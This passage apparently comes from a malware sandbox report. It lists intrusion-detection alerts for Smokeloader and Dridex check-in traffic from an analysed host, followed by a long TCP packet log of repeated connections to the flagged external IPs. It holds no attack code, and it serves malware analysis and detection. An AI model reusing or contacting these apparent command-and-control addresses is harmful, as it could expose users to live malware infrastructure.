2024-10-07T14:59:59.253273+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	49998	105.197.97.247	80	TCP
2024-10-07T15:00:14.419801+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50012	188.40.141.211	443	TCP
2024-10-07T15:00:14.715498+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50012	188.40.141.211	443	TCP
2024-10-07T15:00:16.825302+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50013	188.40.141.211	443	TCP
2024-10-07T15:00:18.334781+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50013	188.40.141.211	443	TCP
2024-10-07T15:01:05.953100+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50014	105.197.97.247	80	TCP
2024-10-07T15:01:15.348447+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50015	105.197.97.247	80	TCP
2024-10-07T15:01:27.089587+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50016	105.197.97.247	80	TCP
2024-10-07T15:01:32.047885+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50017	188.40.141.211	443	TCP
2024-10-07T15:01:32.309002+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50017	188.40.141.211	443	TCP
2024-10-07T15:01:33.047947+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50018	188.40.141.211	443	TCP
2024-10-07T15:01:33.325361+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50018	188.40.141.211	443	TCP
2024-10-07T15:01:46.179545+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50019	105.197.97.247	80	TCP
2024-10-07T15:01:54.998397+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50020	188.40.141.211	443	TCP
2024-10-07T15:01:55.268074+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50020	188.40.141.211	443	TCP
2024-10-07T15:01:56.212271+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50021	188.40.141.211	443	TCP
2024-10-07T15:01:56.460168+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50021	188.40.141.211	443	TCP
2024-10-07T15:02:07.860198+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50022	189.195.132.134	80	TCP
2024-10-07T15:02:16.720307+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50023	188.40.141.211	443	TCP
2024-10-07T15:02:17.024280+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50023	188.40.141.211	443	TCP
2024-10-07T15:02:17.696520+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50024	188.40.141.211	443	TCP
2024-10-07T15:02:18.001733+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50024	188.40.141.211	443	TCP
2024-10-07T15:02:29.863734+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50025	189.195.132.134	80	TCP
2024-10-07T15:02:39.765694+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50026	188.40.141.211	443	TCP
2024-10-07T15:02:40.046670+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50026	188.40.141.211	443	TCP
2024-10-07T15:02:40.760206+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50027	188.40.141.211	443	TCP
2024-10-07T15:02:41.069076+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50027	188.40.141.211	443	TCP
2024-10-07T15:02:50.926729+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50028	189.195.132.134	80	TCP
2024-10-07T15:03:02.556191+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50029	188.40.141.211	443	TCP
2024-10-07T15:03:02.864372+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50029	188.40.141.211	443	TCP
2024-10-07T15:03:03.522877+0200	2039103	ET MALWARE Suspected Smokeloader Activity (POST)	1	192.168.2.5	50030	188.40.141.211	443	TCP
2024-10-07T15:03:03.824257+0200	2809882	ETPRO MALWARE Dridex Post Checkin Activity 3	1	192.168.2.5	50030	188.40.141.211	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 14:59:23.352284908 CEST	49770	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:23.357119083 CEST	80	49770	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:23.357194901 CEST	49770	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:23.357438087 CEST	49770	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:23.357517004 CEST	49770	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:23.362198114 CEST	80	49770	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:23.362221956 CEST	80	49770	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:24.450309992 CEST	80	49770	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:24.450328112 CEST	80	49770	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:24.450344086 CEST	80	49770	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:24.450424910 CEST	49770	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:24.451848984 CEST	49770	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:24.456645012 CEST	80	49770	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:24.456887960 CEST	49776	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:24.461776972 CEST	80	49776	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:24.461854935 CEST	49776	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:24.462007999 CEST	49776	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:24.462030888 CEST	49776	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:24.466722965 CEST	80	49776	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:24.466734886 CEST	80	49776	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:25.373585939 CEST	80	49776	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:25.374358892 CEST	80	49776	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:25.374465942 CEST	49776	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:25.374640942 CEST	49776	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:25.378520966 CEST	49782	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:25.379443884 CEST	80	49776	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:25.383449078 CEST	80	49782	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:25.383539915 CEST	49782	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:25.383702993 CEST	49782	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:25.383718967 CEST	49782	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:25.388475895 CEST	80	49782	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:25.388717890 CEST	80	49782	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:26.313987970 CEST	80	49782	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:26.314189911 CEST	80	49782	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:26.314239979 CEST	49782	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:26.315104961 CEST	49782	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:26.317727089 CEST	49788	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:26.319900990 CEST	80	49782	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:26.322756052 CEST	80	49788	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:26.322832108 CEST	49788	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:26.323055029 CEST	49788	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:26.323072910 CEST	49788	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:26.327909946 CEST	80	49788	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:26.328115940 CEST	80	49788	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:27.264467001 CEST	80	49788	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:27.264606953 CEST	80	49788	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:27.265045881 CEST	49788	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:27.265173912 CEST	49788	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:27.268871069 CEST	49794	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:27.270044088 CEST	80	49788	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:27.273729086 CEST	80	49794	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:27.273813963 CEST	49794	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:27.273969889 CEST	49794	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:27.273998022 CEST	49794	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:27.278748989 CEST	80	49794	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:27.278861046 CEST	80	49794	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:28.191555023 CEST	80	49794	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:28.193468094 CEST	80	49794	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:28.193589926 CEST	49794	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:28.193612099 CEST	49794	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:28.197365046 CEST	49804	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:28.198719025 CEST	80	49794	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:28.202373981 CEST	80	49804	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:28.202486038 CEST	49804	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:28.202608109 CEST	49804	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:28.202627897 CEST	49804	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:28.207739115 CEST	80	49804	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:28.207756042 CEST	80	49804	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:29.129834890 CEST	80	49804	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:29.129967928 CEST	80	49804	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:29.130089998 CEST	49804	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:29.130151033 CEST	49804	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:29.133368969 CEST	49810	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:29.136049032 CEST	80	49804	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:29.138767004 CEST	80	49810	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:29.138838053 CEST	49810	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:29.138952017 CEST	49810	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:29.138984919 CEST	49810	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:29.143904924 CEST	80	49810	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:29.144401073 CEST	80	49810	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:30.253298998 CEST	80	49810	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:30.253309011 CEST	80	49810	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:30.253314018 CEST	80	49810	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:30.253391027 CEST	49810	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:30.253580093 CEST	49810	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:30.258548975 CEST	49814	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:30.258841991 CEST	80	49810	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:30.263360023 CEST	80	49814	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:30.263422966 CEST	49814	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:30.263648987 CEST	49814	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:30.263648987 CEST	49814	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:30.268642902 CEST	80	49814	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:30.268867016 CEST	80	49814	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:31.175985098 CEST	80	49814	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:31.176558018 CEST	80	49814	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:31.176635027 CEST	49814	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:31.177113056 CEST	49814	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:31.180226088 CEST	49822	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:31.182082891 CEST	80	49814	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:31.185290098 CEST	80	49822	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:31.185393095 CEST	49822	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:31.185761929 CEST	49822	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:31.185786009 CEST	49822	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:31.190629005 CEST	80	49822	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:31.190845966 CEST	80	49822	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:32.218347073 CEST	80	49822	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:32.219069958 CEST	80	49822	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:32.219132900 CEST	49822	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:32.219192028 CEST	49822	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:32.222599983 CEST	49831	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:32.224394083 CEST	80	49822	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:32.228171110 CEST	80	49831	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:32.228456974 CEST	49831	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:32.228586912 CEST	49831	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:32.228606939 CEST	49831	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:32.233433008 CEST	80	49831	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:32.233550072 CEST	80	49831	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:33.173722982 CEST	80	49831	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:33.173912048 CEST	80	49831	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:33.173976898 CEST	49831	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:33.174029112 CEST	49831	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:33.176975012 CEST	49837	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:33.178930044 CEST	80	49831	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:33.181982040 CEST	80	49837	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:33.182079077 CEST	49837	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:33.182248116 CEST	49837	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:33.182384968 CEST	49837	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:33.187038898 CEST	80	49837	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:33.187213898 CEST	80	49837	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:34.105287075 CEST	80	49837	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:34.105741024 CEST	80	49837	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:34.105789900 CEST	49837	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:34.106506109 CEST	49837	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:34.110728979 CEST	49844	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:34.111345053 CEST	80	49837	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:34.116442919 CEST	80	49844	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:34.116563082 CEST	49844	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:34.116712093 CEST	49844	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:34.116729021 CEST	49844	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:34.121618032 CEST	80	49844	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:34.122020006 CEST	80	49844	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:35.044061899 CEST	80	49844	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:35.044076920 CEST	80	49844	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:35.044145107 CEST	49844	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:35.044379950 CEST	49844	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:35.047786951 CEST	49850	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:35.052967072 CEST	80	49844	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:35.054743052 CEST	80	49850	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:35.054815054 CEST	49850	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:35.054987907 CEST	49850	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:35.055008888 CEST	49850	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:35.059777021 CEST	80	49850	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:35.060149908 CEST	80	49850	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:35.979567051 CEST	80	49850	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:35.980109930 CEST	80	49850	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:35.980166912 CEST	49850	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:35.982372999 CEST	49850	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:35.987262964 CEST	80	49850	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:36.401704073 CEST	49856	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:36.406632900 CEST	80	49856	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:36.406860113 CEST	49856	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:36.406860113 CEST	49856	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:36.406965017 CEST	49856	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:36.411844969 CEST	80	49856	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:36.412195921 CEST	80	49856	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:37.312268972 CEST	80	49856	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:37.313024998 CEST	80	49856	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:37.313136101 CEST	49856	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:37.313183069 CEST	49856	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:37.316435099 CEST	49867	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:37.317996025 CEST	80	49856	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:37.321436882 CEST	80	49867	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:37.321505070 CEST	49867	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:37.321669102 CEST	49867	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:37.321669102 CEST	49867	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:37.327128887 CEST	80	49867	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:37.328677893 CEST	80	49867	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:38.356266975 CEST	80	49867	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:38.356276989 CEST	80	49867	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:38.356288910 CEST	80	49867	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:38.356353998 CEST	49867	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:38.356380939 CEST	49867	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:38.356515884 CEST	49867	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:38.360152960 CEST	49868	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:38.361428976 CEST	80	49867	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:38.364954948 CEST	80	49868	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:38.365072966 CEST	49868	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:38.365433931 CEST	49868	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:38.365433931 CEST	49868	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:38.370198965 CEST	80	49868	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:38.370218039 CEST	80	49868	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:39.268884897 CEST	80	49868	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:39.269633055 CEST	80	49868	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:39.269701958 CEST	49868	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:39.275887012 CEST	49868	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:39.280821085 CEST	80	49868	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:39.302546978 CEST	49874	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:39.307663918 CEST	80	49874	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:39.307744026 CEST	49874	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:39.307909012 CEST	49874	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:39.307909012 CEST	49874	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:39.312817097 CEST	80	49874	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:39.312836885 CEST	80	49874	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:40.231791973 CEST	80	49874	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:40.231837034 CEST	80	49874	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:40.231913090 CEST	49874	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:40.232117891 CEST	49874	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:40.235404015 CEST	49885	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:40.236985922 CEST	80	49874	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:40.240279913 CEST	80	49885	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:40.240370035 CEST	49885	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:40.240510941 CEST	49885	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:40.240534067 CEST	49885	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:40.245302916 CEST	80	49885	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:40.245789051 CEST	80	49885	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:41.191051006 CEST	80	49885	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:41.192085028 CEST	80	49885	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:41.192148924 CEST	49885	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:41.192276001 CEST	49885	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:41.197151899 CEST	80	49885	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:41.205389023 CEST	49891	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:41.210236073 CEST	80	49891	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:41.210310936 CEST	49891	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:41.210547924 CEST	49891	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:41.210547924 CEST	49891	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:41.215491056 CEST	80	49891	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:41.215502024 CEST	80	49891	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:42.137079000 CEST	80	49891	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:42.137543917 CEST	80	49891	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:42.137608051 CEST	49891	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:42.137662888 CEST	49891	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:42.141005993 CEST	49897	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:42.142462015 CEST	80	49891	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:42.145883083 CEST	80	49897	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:42.146378040 CEST	49897	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:42.146612883 CEST	49897	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:42.146632910 CEST	49897	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:42.151587963 CEST	80	49897	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:42.152621031 CEST	80	49897	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:43.084280968 CEST	80	49897	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:43.085601091 CEST	80	49897	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:43.085741997 CEST	49897	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:43.085741997 CEST	49897	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:43.088990927 CEST	49903	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:43.090658903 CEST	80	49897	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:43.093935966 CEST	80	49903	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:43.094247103 CEST	49903	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:43.094247103 CEST	49903	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:43.094276905 CEST	49903	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:43.099175930 CEST	80	49903	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:43.099256992 CEST	80	49903	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.027868032 CEST	80	49903	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.028537035 CEST	80	49903	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.028779984 CEST	49903	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.028779984 CEST	49903	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.032675028 CEST	49910	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.033884048 CEST	80	49903	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.037662029 CEST	80	49910	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.037738085 CEST	49910	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.037916899 CEST	49910	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.037940025 CEST	49910	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.042890072 CEST	80	49910	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.042901039 CEST	80	49910	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.971501112 CEST	80	49910	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.972651958 CEST	80	49910	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.972760916 CEST	49910	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.973345995 CEST	49910	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.976273060 CEST	49916	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.978383064 CEST	80	49910	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.981369972 CEST	80	49916	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.981478930 CEST	49916	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.981661081 CEST	49916	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.981683016 CEST	49916	80	192.168.2.5	105.197.97.247
Oct 7, 2024 14:59:44.986996889 CEST	80	49916	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:44.989341974 CEST	80	49916	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:45.906971931 CEST	80	49916	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:45.907615900 CEST	80	49916	105.197.97.247	192.168.2.5
Oct 7, 2024 14:59:45.907705069 CEST	49916	80	192.168.2.5	105.197.97.247
